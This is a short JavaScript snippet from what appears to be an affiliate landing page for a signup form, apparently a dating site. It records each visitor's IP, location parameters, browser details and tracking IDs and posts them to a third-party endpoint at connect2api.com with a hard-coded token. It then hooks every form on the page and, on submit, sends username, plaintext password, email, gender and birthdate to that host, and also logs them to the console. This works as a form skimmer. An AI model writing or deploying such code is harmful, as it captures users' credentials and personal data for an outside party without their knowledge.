$(document).ready(function(){ $.get('https://api.ipify.org', function (ip) { var tmpToken = 'HdfiJ3ropCEr3U2C6JEb'; var endpoint = 'https://live.connect2api.com/internalapi/index.php/landers_log/?token='; $.post(endpoint + tmpToken, { "created": new Date().toISOString().slice(0, 19).replace('T', ' '), "country": new URLSearchParams(window.location.search).get('country'), "region": new URLSearchParams(window.location.search).get('region'), "city": new URLSearchParams(window.location.search).get('city'), "lander_id": window.location.pathname.split('/')[1], "brand": window.location.host.replace('www.', ''), "click_id": new URLSearchParams(window.location.search).get('clickid'), "affiliate_id": new URLSearchParams(window.location.search).get('pi'), "campaign_id": new URLSearchParams(window.location.search).get('campaignId'), "var_1": new URLSearchParams(window.location.search).get('var1'), "var_2": new URLSearchParams(window.location.search).get('var2'), "var_3": new URLSearchParams(window.location.search).get('var3'), "ip": ip, "user_agent": navigator.userAgent, "browser_language": navigator.languages.join(',') } , function (r) { window.requestId = r.landers_log.data; }).fail(function (error) { }); }); }); setTimeout(function(){ function handleFormSubmit(event) { event.preventDefault(); // Prevent the default form submission const formData = new FormData(event.target); // Collect the form data const data = Object.fromEntries(formData.entries()); // Convert FormData to a plain object var tmpToken = 'HdfiJ3ropCEr3U2C6JEb'; var endpoint = 'https://live.connect2api.com/internalapi/index.php/landers_log/'; $.post(endpoint + window.requestId + '?token=' + tmpToken, { "browser_timezone": data.browser_timezone, "time_submit": new Date().toISOString().slice(0, 19).replace('T', ' '), "username": data.username, "password": data.password, "email": data.email, "gender": data.gender.replace('1', 'male').replace('2', 'female').replace('3', 'couple'), "DOB": data.birthdate, "request_log": JSON.stringify(data) } , function (r) { event.target.submit(); }).fail(function (error) { }); console.log(data); } // Attach event listener to all forms on the page document.querySelectorAll('form').forEach(form => { form.addEventListener('submit', handleFormSubmit); }); },1500);